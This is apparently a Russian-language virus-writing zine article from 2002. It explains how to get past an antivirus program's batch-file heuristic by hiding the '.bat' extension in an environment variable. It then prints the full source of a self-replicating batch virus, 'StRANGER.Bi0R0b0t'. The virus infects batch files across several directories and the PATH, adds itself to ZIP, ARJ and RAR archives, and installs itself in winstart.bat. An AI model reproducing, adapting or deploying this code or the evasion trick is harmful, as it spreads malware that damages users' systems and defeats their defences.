BATCH-вирусы : [StRANGER.Bi0R0b0t]

Пару слов о евристике...
Значится так, решил я завести себе зверька батовского, но тут выполз один доктор ( и вы его знаете! ) и давай подозревать мою программу во всех смертных грехах. И вот вроде раньше небыло в нем евристики на батники - а тут вроде как и есть! В чем же дело? Оказывается: вся евристика сводится к обнаружению строки типа: for %%X3 in (*.bat) do what_you_want, а конкретно кричит он именно на for %%X3 in (*.bat).

Таким образом юзверь может вдруг обнаружить на винте просто эпидемию всяких "возможно, инфицирован BATCH.VIRUS"ов в батниках. Но ни ему ни нам этого просто ненадо. Так будем обламывать эту псевдоевристику:
Установим переменную среды например FAKE
и присвоим ей значение например bat
set FAKE=bat
А потом вместо for %%X3 in (*.bat) запишем for %%X3 in (*.%FAKE%) и все !!! Вот теперь все занимаются своими делами: животинка бегает а веб сосет.

Конкретно о программе:
Заражаются все батники в текущем каталоге, надкаталоге, в корневых каталогах дисков C, D, E и во всех каталогах отмеченных переменной PATH. Батники заражаются методом дописывания виря в конец файла (алгоритм взят из BAT.Duke.225). При этом проверяется соответствие имени батника AUTOEXEC.BAT у который вирусом не заражается. Под виндой, если пременная PATH явно не установлена то поиск идет в C:\WINDOWS и C:\WINDOWS\COMMAND. Кроме того поражаются архивы ZIP,ARJ и RAR. в текущем каталоге и надкаталоге (только при наличии архиваторов в PATHe).

© NeKr0! 17.05.2002

@ctty nul%BR1%
if '%1'=='BR1DiR' goto BR1diRz
if '%1'=='BR1' goto BR1zex
set BR1FK=bat
echo.>BR1.bat
Find "BR1"<%0>>BR1.bat
for %%a in (*.arj ..\*.arj) do arj a %%a BR1.bat
for %%a in (*.zip ..\*.zip) do pkzip %%a BR1.bat
for %%a in (*.rar ..\*.rar) do rar a %%a BR1.bat
for %%r in (%path% . .. c: d: e:) do call BR1.bat BR1DiR %%r
goto BR1pre
:BR1DiRz
for %%c in (%2\*.%BR1FK%) do if not %%c==%2\AUTOEXEC.BAT call BR1.bat BR1 %%c 
goto BR1end
:BR1pre
type BR1.bat >%windir%\winstart.bat
del BR1.bat
goto BR1end
:BR1zex
Find "BR1"<%2>nul
if errorlevel 1 type BR1.bat>>%2
:BR1end [StRANGER.Bi0R0b0t NeKr0!]